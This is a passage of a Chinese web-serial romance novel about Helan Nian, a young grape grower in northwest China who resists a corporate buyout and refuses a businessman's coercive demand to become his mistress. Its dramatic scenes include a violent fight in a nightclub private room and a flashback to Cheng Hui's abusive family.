是下午粉丝偷拍那张,程回和贺兰念的回头合影!
西北盛大的暮色像陈年波特酒泼在玻璃幕墙上,金色光线在程回侧身而立的身影上镀上一层暖光,勾勒出他立体的五官线条,细碎额发,完美的像一尊神祇。
回头的刹那,他把余光剥出一丝给拍照的人,剩余视线全部定格在贺兰念身上。
而他视线里的人逆光而立,银叉折射的菱形光斑落在她的侧脸,温柔拨开一方阴影,映出那张明艳到灼眼的脸。
比头顶灯光还要璀璨三分。
偷拍者快门摁下的瞬间,一名侍者端着一瓶勃艮第红酒经过,刹那间,这方天地,红酒与香根草尾调混着暮色纠缠。
程回手指悬在半空良久,仿佛触摸照片上的人需要很大的勇气。
终于,手腕僵硬动了下,手指触了下照片中的贺兰念。
不知道过了多久,一条消息弹出。
【程先生,根据您提供的照片,已经锁定几家疗养院和精神病院。】
程回点开回:“我要确切的消息。”
【好的我知道了,我会尽量查清给您准确信息。】
关了聊天框,程回切换某个视频平台,注册一个新账号,在发布作品页面发出了一张照片。
*
贺兰念到家没多久接到一个饮料厂老板打来的电话,对方说可以收购他们的葡萄。
“您是说您用鲜食葡萄和酿酒葡萄做成饮料?”贺兰念略带惊讶问。
鲜食葡萄可以做成葡萄风味的果汁,而酿酒葡萄也可以做成各种酒精和非酒精类饮料。这无疑是一条销售渠道。
但是......
“你要是觉得行,有时间来我工厂看看,我让人带你参观参观。”电话那端的男人说。
贺兰念有点出神。
“......好,好的。谢谢您。”
挂了电话,贺兰念又坐在大枣树下愣了会神。
一些久远的回忆不受控冒出。
——
“爸爸,这里好大好大的地方都要种上葡萄树吗?”年幼的贺兰念脑袋趴着行驶的车窗,指着外面的荒原和戈壁问。
前面驾车的男子透过后视镜温柔看了一眼自己的小女儿,温声道:“是啊,种上葡萄这里就不是戈壁了,到时候不仅风沙没了,还能让你李叔李婶,孙爷爷孙奶奶,许多许多人过上好日子,买新衣服,吃好吃的。”
“真的吗?”贺兰念惊喜道,“只要种上葡萄就可以买好多东西吗?”
男子自信满满“嗯”了一声。
“不过......”他话音一转,突然心事重重沉默了一阵,看似想起什么难事。
“不过什么爸爸?”贺兰念回头问他。
男子很快又舒展了眉,神色温柔又坚定,对贺兰念说,“种葡萄只是第一步,种好的葡萄可以酿成葡萄酒,酿出好的葡萄酒,就可以卖给喜欢他们的人,到时候还能卖到国外去呢。”
车辆驶进大片大片的葡萄园,贺兰念眼睛亮晶晶的望着那鲜亮的绿,开心的笑了。
“那爸爸你一定要酿出好喝的葡萄酒哦~”
“好!爸爸努力~”男子也跟着笑起来,“等爸爸酿出好葡萄酒,我们自己建酒厂开酒庄,就可以一直酿好酒。”
......
“就可以一直酿好酒......”贺兰念低低呢喃着这句话。
她那时候不懂,是很久很久以后,她才真正明白这句话背后的意思。
要在荒地种满葡萄,要找好销售渠道,要不受酒厂的遏制,要有顶尖的酿酒方法,要让好的葡萄酒受到公众认可....
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..大概要把这几步做好,才能做到一直酿好酒。
可是每一步都那么难。
想起大片大片葡萄园重新撂荒,想起大企业的强势收购,想起卖不出去的葡萄......贺兰念眼中闪过痛苦。
做成饮料也好,起码不会烂在地里。
贺兰念伸手狠狠揉了揉脸,好似把沮丧的情绪也抹掉。
桌上的手机又开始剧烈震动。
这似曾相识的感觉……贺兰念还未看手机心里先打了个突,暗自希望不要跟程回有关……
点开手机,又是一堆评论和艾特她的消息!
真又是程回!!!
不知道是谁在网上发了一张她和程回的合影!
贺兰念一点开视频平台,那张合影就水灵灵出现在了她面前。
看到照片的一瞬间,贺兰念所有复杂难言的思绪都暂停了。
点开评论区。
【好帅好美!!这氛围绝了啊!!看一眼都觉得好心动啊!!!】
【下文这不就来了吗?故事这不就来了吗?!】
【这是哪个姐妹造福人间!能不能多来点!!渴死我了渴死我了!!!】
【这对我先嗑了!话说我的cp名叫什么?!两分钟!我要知道帅哥的全部信息!!!】
【Mr.Xor薛定谔的男神?这位帅哥到底什么身份?好神秘!】
【西北!浪漫的大西北!等我,我这就来!!】
……
“砰咚”一声,贺兰念手机滑落,摔在桌面。
她看着那些文字,觉得自己应该是认知有了障碍,不太能理解字词的意思了……
很快,她想起另外一件重要的事。
所以,这张照片,是那位女粉丝发到网上的吗?!
她明明答应不会发到网上!
那程回……
贺兰念猛拍了一下自己的额头。
不知为何,她总觉得程回又会在这件事上大做文章,提出一些奇怪的要求。
贺兰念在大枣树下徘徊了一圈又一圈,终于下决心联系程回,把事情解决掉。
她走到桌边拿起手机。
贺兰念:【你看到网上的照片了吗?不好意思,应该是那名粉丝发上来的,我会尽量联系她让她删掉照片。给你造成困扰很抱歉!】
发完,贺兰念忐忑盯着手机。
并没等多久,一声“嘟”的震动,传来一条消息。
程回:【哦。】
哦???
贺兰念等了等,再无下文。
她莫名有点怅然,有种你设想了对方肯定会纠缠,对方却潇洒转身,根本没理会你。
程回到底是什么意思?
*
同一时刻,京城天纵集团大厦总裁办公室,程英纵也在看这张照片。
“你知道我喜欢程回哪一点吗?”程英纵问站在办公桌前的魏梁。
魏梁想了一下,道:“不认输?”
“不认输,会反击,只要他想做的事,就一定会做到。”大约是骄傲的,但想到程回对他的态度,程英纵脸上闪过一丝扭曲的欣赏。
事关程回,魏梁不敢随意附和,巧妙躲过话题问道:“程总觉得这张照片是程回发到网上的?”
程英纵在脑海过了一遍程回布置这件事的流程,事先找好人拍摄,自己看似深情凝视女孩,在他这里拿到他母亲照片后,立马把拍好的照片发到网上,以反击他先前不让他在网上露脸的事,甚至,他还可能用深情迷惑女孩。
程回,讨厌被人控制摆布,尤其是他。
程英纵想通事情的来龙去脉,冷笑一声,肯定道:“不要小瞧了程回,他做起事情来,会习惯不择手段。”
“这一点,或许他自己都没有意识到。”程英纵满意弯了弯唇,“毕竟,他可是我一手调教出来的。”
魏梁沉默。
关于程回做事的方法,魏梁不置可否,但他目光落在程回看贺兰念的眼睛上。
程回眼中的情愫,不像假的。
并未反驳什么,魏梁道:“那么,他也肯定会成功收购葡萄园。”
程英纵一脸势在必得,他从一个文件袋里取出一张照片递给魏梁。
照片上女人的脸并非东方传统柔美娴雅的美,她的脸透出一股野性,特别是那双狐狸眼,满目疮痍也不掩野心勃勃。
“找到这个女人,把她带到我面前。”程英纵命令道。
魏梁接过照片,疑道:“这是?”
“是我最后一定能收购葡萄园的保障!”程英纵眉眼冰冷。
8. Chapter 8
接下来几天,贺兰念没再遇见到程回。
至于网上不断发酵的照片,程回没找她,贺兰念也没有时间理会。她依旧每天在李叔的葡萄园忙直播,今天卖这家的葡萄,明天卖那家的,还是怎么也卖不完。
这天中午吃饭的时候,李叔从外面回来,脸上是掩饰不住的愁容。
贺兰念想到最近收购的事。
那家欲收购的大企业派来一个女经理,这几天一直在跟农户密切接触,听说挺有手段的,软硬兼施,已经有好几家葡萄园主签了收购合同。
在贺兰念的追问下,李叔才道出,果然是又有农户顶不住压力,卖掉了葡萄园。
虽然早已料到,贺兰念的心还是慢慢沉下去。
不说赚钱,现在葡萄都卖不出去。就算卖出去,价格也低得赚不了什么钱。在大企业还算丰厚的收购合同面前,贺兰念理解有人卖掉葡萄园。
但是她不想卖,也不能卖。
贺兰念只得更加努力的直播,积极寻找收葡萄的商家。
这天下午,贺兰念应那位饮料厂杨总的邀请,去参观他们的生产车间。
快到工厂时,贺兰念被一辆车拦住去路。
一个穿着职业装,气质干练的女性走到她车边。
“你好,我叫苏馥。”苏馥朝贺兰念微微点了点头。
苏馥。
贺兰念知道这个名字,她就是那个大企业的女经理。
想到对方来找她的目的,贺兰念道:“我不会卖掉葡萄园。”
被贺兰念的直接和眼中的坚决惊了下,苏馥很快微微一笑,道:“我只是想来提醒你,不要把希望寄托到那位杨总身上。”
苏馥顿了下才接着道:“他,不会是你的救命稻草。”
说完,她后退一步,对贺兰念做了个“请”的动作,让开了路。
贺兰念眉头微拧。
苏馥很聪明,也很不好对付。
但是葡萄园她绝不会卖掉。
来到工厂,那位杨总并未露面,一个叫刘辉的助理带着贺兰念参观了工厂。
据刘辉说,他们工厂除了生产各种类型的果汁、功能饮料、果醋、青梅酒,还有葡萄白兰地、葡萄气泡茶、葡萄冷萃茶等饮品,所以每年都会收购大量的葡萄。
贺兰念能看出,不管是设备还是技术,他们工厂都算是当地先进水平。
地里葡萄不等人,贺兰念没再犹豫,想尽快敲定合作。
但当贺兰念提起合作时,对方却道:“我们杨总今天不在工厂,你要是着急的话,我给你一个地址,你去找杨总当面谈吧。”
当晚,贺兰念按照刘辉给的地址,来到一家娱乐会所门口。
手机震动了一下,是刘辉发来的,说杨总在六号包厢等她。
霓虹灯光交错照在贺兰念脸上,她看着这条消息,下意识皱了下眉。
她没有多少谈生意的经验,但也知道这种地方,大概率是不能好好谈合作的。
不能退缩!
贺兰念抬脚走进会所,在服务员带领下来到六号包厢。
门被推开的那一刻,原本喧闹的包厢安静了一瞬,紧接着响起几道倒吸凉气和吹口哨的声音。
坐在沙发中间顶着啤酒肚的中年男人在贺兰念身上扫视了一圈,很快他推开身边的三两女人站起来,一只手拎着酒杯看着贺兰念道:“久闻不如一见,我们西北的大网红真是漂亮!要我看,比电视上那些明星都好看!”
贺兰念没说话,认出对方应该就是那位杨总。
包厢里有人认出贺兰念,看着那张昏暗灯光下惊为天人的脸,惊叹道:“真是贺兰念啊!我记得前几天还上热搜了呢!长成这样真给我们西北长脸!”
有人不无酸意附和,“哟老杨,你这回面子大了!这么大一个美女网红都让你请来了。”
杨总哈哈笑了两声,他走到贺兰念身边,似倍觉有面的挺了挺腰杆,道:“以后我跟贺兰小姐还有不少合作,你们都要关照啊!”
话落顿时响起戏谑的调侃声。
贺兰念感到不舒服。
并未表现出什么,贺兰念温和应对着,但每次她提到合作,杨总总会找话题岔过去,只一个劲让她喝酒。
“杨总,您这边大概能订多少量,我提前给您准备好。”贺兰念又道。
“这个先不急,我让人先做个市场调查,制定出一份详细的计划。”杨总拍了拍贺兰念的肩膀,似长辈道,“年轻人做生意不要太着急,着急就容易吃亏。不调研清楚,不清楚消费者喜欢什么,那不是抓瞎嘛。”
贺兰念蹙眉,不动声色躲开男人的手。
意识到对方今日并无谈合作的想法,贺兰念找了个借口,离开包厢。
茫然走了几步,贺兰念将后背撑在墙上,她低低垂着头盯着脚尖,有些颓丧的叹了一口气。
好难啊......
就在贺兰念准备再进包厢时,对面包厢的门被人从里面打开,李折打着电话从里面走出来。
“我说程回,你这都消失多少天了?!你人在哪呢?发生什么事了?为什么不接电话?”李折大概有一周时间都没联系上程回,他急得不行,差一点就要去跟程英纵要人了,今天才好不容易打通。
那边程回不知说了什么,李折听到程回的声音,眉头终于舒开。
“过几天越野赛就正式开始了,你可别忘了!”李折话锋一转,“算了,你现在在酒店不?我去接你,出来玩啊,老闷在酒店有什么意思?”
“什么不去,我——,”李折话未说完,看见贺兰念消失在走廊的背影,不自觉“咦”了声,“贺兰念?”
“你说什么?”
程回的声音异常嘶哑,像是好久没有说过话,只是李折这边太吵,加上他又是大咧的性格,所以并未察觉出异常。
“我好像看到贺兰念了。”那个身影在他的余光里一闪而过,李折也不太确定到底是不是贺兰念,便补充道,“不过也有可能是我看错了。”
“你在哪?”
“哦,我在西山会馆呢。”李折下意识问,“你要过来?”
李折好像听到程回“嗯”了一声,不过他没听清,电话已经挂断。
李折在会馆门口接到程回的时候,他惊了下。
虽然在西北,但夏日的晚上也算不上凉爽,程回一身黑衣从车上下来,上身套了件宽松的黑色卫衣,兜帽几乎遮住了大半张脸,露出些许苍白的皮肤和殷红的唇,在夜色下简直华丽的阴诡。
抬眼时,瞳孔暗淡又阴沉。
李折总觉得程回的状态不太正常,他狐疑道:“你怎么了?被吸血鬼附身了你?”
程回垂着眸往会馆里面走,声音带着丝嘶哑问:“贺兰念在里面?”
“我没看清是不是她,不过那时她正往外走,就算她真来过这里,现在应该也离开了。”李折道。
程回脚步未停,道:“让人找一下。”
“......卧槽?一间一间找?”李折不敢相信道,“不是程回,你来真的?”
程回已经走进会馆深处。
*
贺兰念找借口回家了。
接下来两天,杨总用谈合作为借口约了贺兰念几次,依旧是那间包厢,贺兰念去了两次,除了被骚扰,合作没有任何进展。
事情发展到这里,贺兰念隐隐猜到什么,只是她还抱有幻想,不想轻易放弃。
这天贺兰念再次借口离开,被杨总拦在门口。
“小念啊,这就是你不懂事了,我好心请你来喝酒,这么不给面子?”
杨总一步步靠近,贺兰念被他逼到角落。
“杨总,请自重!”
“自重?”杨总似听到什么笑话,轻佻笑了两声,他把脸凑到贺兰念耳边,“贺兰念,你是真不明白还是假不明白我对你什么意思?”
贺兰念狠狠拧了拧眉,她伸手推开杨总,声音冷下来:“抱歉,我不知道杨总这是什么意思。”
杨总嗤了声,“行!你不明白,那我就说明白一点。”
“你要是跟了我,别说一份合同,十份合同我都能给
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你签。”他贪婪的盯着贺兰念,“现在明白了吗?”
“......杨总是想让我当你的情妇?”贺兰念脸冷下来,她冷冷一笑,“抱歉,我恐怕没办法答应——”
“嘘——,别太着急拒绝。”杨总打断贺兰念,“想想你那些乡亲们,想想地里的葡萄,或者,你再想想......你母亲。”
一瞬间,贺兰念似被卸去全身力气,如坠冰窟。
杨总最后留下一个势在必得的眼神离开了,贺兰念却浑身冰冷站在那里,许久。
这一次,过去的记忆不受控往外冒。
贺兰念是后来才知道,爸爸和哥哥车祸去世后,妈妈的身体就急转直下。
李婶哽咽着打来电话说妈妈脑溢血晕倒的时候,她在妈妈的坚持下刚回到学校没多久。
贺兰念清楚记得,那是第二个让她此生永远没法忘记的电话。
有好长时间,从她得到消息,到她坐上飞机回到家,去到医院......她仿佛坠入混沌,人是虚脱的,灵魂是抽离的。
明明已经经历过一次,她还是完全不能承受那种兵荒马乱,那段时间,她基本家里医院两头跑,因为发现的太晚,妈妈做完手术全身瘫痪,只能勉强醒来。
除此之外,另外一件压倒贺兰念的事是,她家没钱了。
大概是看中她的脸吧,那时有不少有钱的男人找上她,说只要她稍微付出一点,他们就可以帮她,付她妈妈所有的医疗费。
……
从回忆里抽离,贺兰念想起两天前苏馥拦住她对她说的话,她说杨总不会是她的救命稻草。
所以,苏馥早就知道杨总的意图,她早就被他们调查的清清楚楚!
贺兰念心中突然涌起一股愤懑。
不管是杨总,还是苏馥和那家大企业,全都一副高高在上的模样,玩弄着他人的命运......
*
一天后,突然有人传出贺兰念做情妇当小三的风言风语,甚至网上还有人爆料她早年曾跟过不少老板……
一时之间,网上出现不少骂声。
贺兰念没怎么看网上的消息,也不想追究是谁散播的消息,除了坚持直播,她剩下的时间都用来陪惜儿。
晚上杨总再次打来电话,说市场调研报告出来了,市场很乐观,让贺兰念过去讨论合同细节。
“还有那件事,想好了就来找我。”电话最后,杨总意有所指道。
贺兰念明白杨总话里的意思——做他的情妇,是这份合同的附加条件。
她还是去了西山会馆。
西山会馆的门口,贺兰念再次遇见苏馥,更确切的说,是苏馥在等她。
“只是一个葡萄园,卖掉你就可以得到一大笔钱,如果你想的话,还能继续回学校上学。或者出国留学也可以,我找人给你安排,学校任你挑。”苏馥说,“干嘛这么委屈自己。”
一句话,贺兰念真不知道自己该笑还是该哭。
她扯了扯嘴角,发现连嘲弄都扯不出,眼眶却越来越酸。
“我说过,我不会卖掉葡萄园。”贺兰念几乎一字一顿说。
苏馥听到了贺兰念的颤音。
没再说什么,苏馥侧身让贺兰念离开。
直到贺兰念的身影完全消失在会馆大厅,苏馥转身往一个大理石柱后走去。
背面石柱照不到光,程回一身黑几乎隐在黑暗中,他指尖一点猩红,倚着石柱抽烟,看不清神情。
“她爸爸原本是江沪的富商,算是最早来西北种葡萄的那批人,一种就是几十年,只有理想和热爱才坚持得下去。”苏馥道,“葡萄园倾注了她爸爸,更确切说是他们一家的感情和梦想。”
苏馥突然觉得自己挺残忍的,在明知贺兰念为什么不卖葡萄园的情况下,还对贺兰念说那样的话,无异于又在贺兰念伤口上狠狠捅一刀。
贺兰念刚才都要哭了。
苏馥想把这罪过转移到程回和程英纵身上,发现自己还是内疚难消。
程回没说话,只有夹着烟的手紧了紧。
9. Chapter 9
贺兰念走进六号包厢的时候,不少人讥笑看她,也有人怒瞪她,其中坐在杨总身边长相成熟媚眼如丝的女人睥睨盯了她一眼,吐了一口烟。
自从家破人亡后,贺兰念最讨厌的自己是柔软无助,最讨厌的境地是受制于人.....眼下她受制于人,那她就必须坚强。
旁若无人的,贺兰念走到杨总面前,她隔着茶几看着得意的男人,问:“可以签合同了吗?”
杨总盯着贺兰念的目光越发炽热,几乎急不可耐道:“只要你想好了,现在就可以签!”说着从屁股后面抽出被压皱的一纸合同,高声喊服务员拿笔来。
贺兰念捏着笔站在茶几前,盯着合同上可观的采购数量和金额,迟迟没有下笔。
不知是这地方烟酒味太浓厚,还是音乐声讥笑声太过喧嚣,这里所有的一切都死死绕抓着她,她感到眩晕,感到恶心,恶心到想吐!
“喂贺兰念!你真贱!你对得起薛定谔的男神吗?!”一个年轻女孩按捺不住喊了一声。
薛定谔的男神?
谁?
哦,好像是程回。
因为网友还是扒不出他的名字,就叫他,薛定谔的男神。
程回啊......猛然听到这个名字,贺兰念才意识到,她好像很久没有见过程回了。
他像是天外来客,就这样人间蒸发了。
“喂!你知道他叫什么吧?你有他联系方式吗?你这号的他也看不上你,别藏着掖着了,说说呗。”一个年轻女孩一脸傲慢道。
贺兰念突然想笑,她扯了扯嘴角,又无力垂下。
全网没有程回的名字。
明眼人都能看出这件事背后肯定有人封锁了消息,贺兰念也知道,程回大概率身份不俗。
那样的贵气,甚至薄情,根本不是普通人家能养出来的。
“我们不熟。”贺兰念开口。
“什么呀,这么宝贝?你喜欢他啊?”女孩想起贺兰念和帅哥的照片,还有帅哥看贺兰念的眼神,越想越生气,嫉妒道,“就你也配喜欢他?”
贺兰念薄唇抿成一条线,木然沉默着。
这时,一直坐在杨总身边的女人盯了贺兰念几秒,吐了一口烟,开口:“说起来,你妈是党项族后裔吧?”
见贺兰念看过来,女人挑了挑眉,媚眼如丝笑了一声,“别紧张,我只是好奇,我听说你们党项族一直尊奉爱情至上的理念,甚至还有殉情的传统。”
“殉情?现在听到这个词还真是有点......搞笑~”不知想到什么,她一只手夹着烟,笑得前仰后合。
这一刻,贺兰念似是被人当众戳破最隐晦的秘密,她身上的平和淡然尽数褪去,双眸漆黑冰冷,身体肉眼可见紧绷,似被压缩到极致的弹簧,稍微一松力就会狠狠弹出去。
女人并未收敛,她看着贺兰念,目光近乎咄咄逼人。
“所以,我还是比较好奇,你的爱情观是什么呢?”她一字一顿说,“在你——妈妈——死后。”
贺兰念没说话。
“是坚定信仰选择你喜欢的?”女人垂眸瞥了眼身边的杨总,笑着说,“还是说就此屈服现实,选择能给你带来好处的?”
“够了!马雅楠,你要干什么?”杨总猛地推了一下女人,大声呵斥。
女人没想到被当众呵斥,也恼了,尖叫道:“杨志国你特么敢推我?怎么?有了新欢,这就要把我踢了?”她扔掉烟头咆哮,“杨志国,我告诉你,你想得美!你敢为了那个小妖精甩了我,我就算死也要缠死你!”
贺兰念木然看着这场闹剧,转身离开了包厢。
杨总想追,被叫马雅楠的女人死死扯住。
没有地方可去,贺兰念躲进卫生间。
她靠着冰冷的白瓷砖,颓然坐到地上。
她妈妈贺兰一脉,是很古老的党项族的后裔,党项族全族尊崇爱情,甚至可以为了爱人殉情。
贺兰念是看着她爸爸妈妈的爱情长大的,在她很小的时候,她妈妈就跟她说,爱情是神圣不可亵渎的,贬低爱情的人也会被爱情舍弃。
就连不被现代人接受的《阿吉娜》里的爱情观,她母亲也推崇备至,说每个人都应该坚定的选择什么,有人选择权势,有人选择金钱,有人选择自由,而阿吉娜只是坚定的选择自己的爱情,多么伟大。
贺兰念痛苦的抓着自己的头发,她脑海不断响起她妈妈的话,这些话几乎根深蒂固的扎在她每个细胞,与她的血肉融为一体。
她重重敲打着头皮,想把母亲的声音赶出去,想把所有关于爱情的字眼都赶出去!
统统赶出去!!!
狗屁的爱情!
三年前她需要的是妈妈的医疗费。
现在她需要的是葡萄销售合同!只有拿到合同,她才能阻止乡民们把葡萄园卖给收购的大企业。
不知过了多久,贺兰念走出洗手间。
不经意抬头,一眼看见程回。
他站在卫生间门口抽烟,看见她,也只是淡淡向下滑了滑视线,又重新盯着虚空某处,侧脸弧度极度优越,精致的像工艺品。
烟雾在他眼前徐徐上升。
贺兰念低头走到盥洗池前,拧开水龙头洗了把脸。
清凉的水滑过脸颊,她昏沉的脑袋终于清醒了些。
片刻,贺兰念听到脚步声。
程回从她身边经过的时候,她闻到了一抹凌冽幽冷的香水味,混着芬芳的红酒和淡淡烟草味。
在这片各种气味混杂的沉闷空间,清冽的不像话。
贺兰念想去抽张纸擦手,但抽纸筒在程回那边,她正想过去,站在她身边的人先她一步抬脚,几个错步走到她前面。
于是,接下来大约几十秒的时间,贺兰念看着那双好看的手开始抽纸,一张接着一张......他的动作逐渐暴躁暴力,像是发泄一般,直到把所有的纸抽完。
随意擦了两下手,一团纸被扔进垃圾桶。
贺兰念:“......”
被震撼了一会儿,贺兰念才慢半拍抬头。
程回视线紧紧锁在贺兰念脸上,目光不再是前几日的暗淡无光,而是异乎常人的犀利锋锐,像一匹狼,仿佛一眼能把人的灵魂看穿。
四目相对,程回在看到贺兰念发红的眼眶时,目光凝滞片刻。
“贺兰念。”
他喊了她一声,却好半天没有下文。
“我没有地方去,你带着我。”程回道。
贺兰念一脸疑惑“嗯?”了一声,下意识问:“你要去哪?”
“你去哪?”程回问。
“我?我就在这儿啊。”贺兰念一时搞不懂这奇怪的对话。
“那就带着我。”程回说。
“......”想到一会儿要回包厢见杨总,贺兰念不想带程回过去,拒绝道,“不太方便。”
程回:“哦。”
贺兰念:“???”
贺兰念推开六号包厢的门,身侧的程回先一脚踏了进去,留下贺兰念在原地凌乱。
她从来没有遇到过程回这样的人,好像只要他想做的事,无论如何都要做到。
根本不理会她的拒绝。
包厢渐渐安静。
所有人都静悄悄看着程回如进无人之境,旁若无人走到一处位于角落的沙发坐下,然后低头玩手机。
杨总的不高兴显而易见,他几乎怒不可遏看向贺兰念,活像贺兰念当着他的面给他戴了绿帽子。
他把茶几上的合同往贺兰念的方向推了推,含怒命令道:“小念啊,过来签合同吧。”
贺兰念走到茶几前,笔尖落在合同最后一页的乙方签名处。
动笔之前,还没等她想
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起克制,已经扭头看了一眼角落里的程回。
那张冷白的脸,在流光溢彩的灯光中,好像往她这边看了一眼,幽邃的眸深不见底。
贺兰念:“......”
低下头,贺兰念慢慢放下笔。
她突觉她也并非无路可走,她太想抓住已有的稻草,但买家决不止杨总一个,只要她努力一点,再努力一点,她一定可以找到别的经销商。
贺兰念把合同推回去,声音坚定到凌厉,“抱歉,这份合同我不签了。”
随后,她目光坦然看向程回,道:“我要走了,你要不要走?”
程回抬头,短短几秒,他漆黑的瞳孔梦幻般慢慢浸进光,他收起手机起身,走向贺兰念。
事情急转直下,杨总先是愣了下,反应过来被贺兰念拒绝后,他像是在众人面前被贺兰念狠狠甩了一巴掌,瞬间恼羞成怒。
他三两步追上贺兰念,猛地拽住贺兰念的胳膊,破口大骂。
“你特么别给脸不要脸!老子让你当情人是看得起你,你一个辍学的太妹,不知道跟多少人睡过,在老子面前装清高,信不信老子今天就把你办了!”
对危险的警觉让贺兰念下意识用力挣脱男人的钳制,她转身大步往门口走,快到门口时想起程回。
包厢里一堆杨总的朋友,贺兰念害怕程回吃亏,几乎没有任何犹豫,她立刻回身,欲拉出程回一起离开。
但是,就在她转身的刹那,从后面先赶来的杨总一把摁住她后颈猛地一推,贺兰念没防备,狠狠撞到门棱上。
尖锐的疼痛让贺兰念眼前一黑,差点晕过去,生理泪水夺眶而出。
她迅速让自己清醒,回身找程回,但眼睛被泪水糊了一层,她正想喊程回。
“陈——”
“砰——!”
一声巨响!
紧接着好一阵玻璃破碎的噼里啪啦声。
贺兰念惊魂未定,手腕突然被人死死攥住,力道极重,仿佛隐着滔天的怒火。
下一秒,她下巴被一个手掌捏住抬起,力道依旧惊人,贺兰念吃痛“嘶”了一声。
贺兰念明显感到捏她的手颤了一下,立马松开。她还未看清,一只手抹去她眼里残留的泪水。
睁开眼时,贺兰念看见程回逆着光站在她身前。
天花板昏暗的灯光倾斜洒落他发梢,遮出一片阴影,贺兰念看不清程回的脸。
“站去外面。”程回低声道。
贺兰念:“……”
程回声音里压抑着某种疯狂的东西,被拉到包厢外的贺兰念愣了下,心中陡然生出很不好的预感。
程回的状态太不正常了!
他眼底的疯狂,简直超出了人类正常的情感范畴!
包厢的门被关住,等贺兰念去推,怎么也推不开!
她心脏开始不受控狂跳,里面都是杨总的人,程回只有一个人……
她迅速让自己冷静下来,跑去喊服务员和保安。
包厢内,被一脚踢翻到酒柜上的杨总好半天没能爬起来,他勃然大怒,从地上抓起破碎的酒瓶就死命向程回冲去。
程回拎了把椅子堵住门,转身静静站在那,看着气急败坏的杨总。
他表情极淡,眼神像是在看一头横冲直撞的猪。
杨总淋了一身乱七八糟的酒,气的脸红脖子粗,恨不得把程回宰了。
然等他冲到程回身边,却被程回错身躲开,还被顺势抓住衣领,一脚踢到墙上。
没有任何喘息的机会,程回扯着杨总的头皮就往墙上砸,一下两下,狠厉无比,像是要把那颗头砸烂。
“去你妈的情人!”程回声音阴沉的要滴水,风雨欲来。
男人像块沾满血的破布,没有丝毫反抗的余地。
“砰”地一声,杨总肥硕的身体被扔到中间茶几上。
10. Chapter 10
程回是八岁那年被程英纵接回程家的。
在那之前,他一直跟母亲一起生活。
程回的母亲,年轻时在夜总会唱歌,也是在那里认识的程英纵。
懵懂漂亮的穷姑娘碰到无情的冷血动物,却以为遇到了爱情,她陷入爱恋,却不知她只是他众多情人中的一个。
没过多久,等她渐渐发现他的本质,却发现自己已经怀孕四个月。
那是她第一次毅然选择离开那个恐怖的男人,却没舍得打掉孩子,她偷偷离开那座城市,生下程回后才又回来。
程英纵没有找过她。
事实是,程英纵从来都没有找过她,他当然不会找她,他身边最不缺的就是女人。
她还是把自己想得重了点,其实她在他心里一文不值。
不过也因为程英纵的无情,八岁之前,程回算是有童年的,虽然可能跟正常小孩的童年不一样。
程回记事早,他三四岁的时候,他妈妈已经是一个小有名气的歌手,发过几首歌。
她是一个很鲜活的人,性格也很鲜明,明媚,洒脱、仗义。有名气后以她的经济能力完全可以不用再去夜总会上班,但为了以前夜总会的姐妹,她还是会去帮忙站台。
程回五岁前是经常出入夜总会的,他妈妈去站台唱歌,他就在后台休息间看书,期间总有很多他母亲的女性朋友拿着小零食和水果过来看他,吵吵闹闹。
不知是不是觉得他太小记不得事,她们总是毫无顾忌给他说很多开心不开心的事,扰得他两三个小时也看不了几页书。
但程回从来没有赶过她们。
五岁后,他母亲认为程回开始记事,便不再带他去夜总会,但还是会带着他去各地参加演出,附带着旅游,不管是物质上还是精神上,她都尽力给程回了。
那段时光是程回前二十三年过得最快乐最无忧无虑的。
直到八岁,程回被程英纵找到。
更确切的说,是他异乎常人的聪慧被程英纵看中。
程英纵早就知道他的存在了,只是他私生子太多,并不是每个孩子都有资格让他接回家的。这是后来程英纵亲口对程回说的。
程英纵没有过妻子。
用他自己的话说,结婚这件事就是让他用一半的资产,去承诺永远爱一个人。
对程英纵来说,这简直滑天下之大稽!
程英纵当然不喜欢程回的母亲,回到程家的她依旧是程英纵其中一个情人,或许连情人都算不上,却承受着程英纵变态的折磨。
她被困在那座冰冷的大房子里,慢慢枯萎,失去所有鲜活的生命力。
程英纵是疯子,冷血的疯子!
如果她不离开,她会死!而生活在堪比地狱的程回也会变成疯子!程回的状态已经很不正常了!
那是程回被接回程家的第二年,他母亲第二次毅然离开程英纵。
只是这一次,她失败了,她没能离开,她被永远关在了那座大房子的地下室。
等待她和程回的,是真正的人间地狱。
*
李折带着人撞开门的时候,程回脚边歪七倒八堆了一堆酒,他正抡着酒瓶往杨总身上砸,砸得毫无顾忌,又狠又准。
茶几上的杨总全身湿透,瘫在那里一动不动,身上身下殷红一片,分不清是血还是酒。
酒水顺着酒桌往下流,把地毯洇红一片,画面触目惊心。
几个杨总的朋友欲帮忙。
程回拎着瓶红酒,视线扫过去,眉眼间那种疯狂的、毁灭一切的狠戾看得人连连后退。
这位是真不要命的主。
这大概是此时此刻包厢里所有人的共同想法。
贺兰念也被入眼的画面吓到。
看到程回抓住一个起酒器就要往杨总身上扎,贺兰念终于反应过来,她快步走到程回身边,用力抓住了他的胳膊,挡住了早已不省人事的杨总。
“可以了!”
打这么久,程回连呼吸都是平缓的,可见其惊人的体魄,而他现在又是失去理智的样子,任由他打下去,后果不堪设想。
贺兰念一点点都不想闹出人命。
她经历的变故已经够多了,一点都不想再经历那种情绪上能撕裂人神经的大起大伏。
贺兰念直直盯着程回的眼睛,“陈回,冷静一点。”
程回眼皮上溅上了红酒,看起来连眼珠都是猩红的,他低头看着贺兰念,视线很久才慢慢聚焦,回归些许理智。
慢慢,贺兰念发现程回盯着她伤口的位置,眼神越来越阴沉。
贺兰念还没来得及看她脸上的伤,见状转身拿手遮了遮。
她去找保安的时候恰好遇见出来找程回的李折,清楚情况的李折阻止了贺兰念找保安和报警,回包厢喊了朋友赶来。
贺兰念看向门口同样有些愣住的李折,希望李折带程回离开这里。
李折自认见过也经历过不少打架斗殴的场面,但此时还是被包厢里的情景惊到了。
他跟程回算是从小认识,程回跟他爸的关系一直不好,最叛逆的那几年,程回几乎天天跟人打架,每次都不要命。
即便自己丢了半条命,也要用最后一丝力气锤死对方,年少的程回就已经是这样。
也是那几年,程回在京城上层圈子声名鹊起,成为最桀骜难驯的一匹野马。
其实不是什么好名声,再加上他家里他爸一档子烂事,很多人都在看他的笑话。
大概高一下学期,程回被他爸扔去国外读书,读完大学的时候李折有问过程回什么时候回国,那时程回跟他说的是,不回。
李折知道这个不回的意思,恐怕是永远都不会回来了,同样,李折也知道程回做的决定向来没有人能改变。
但这才一年,他就突然回来了。
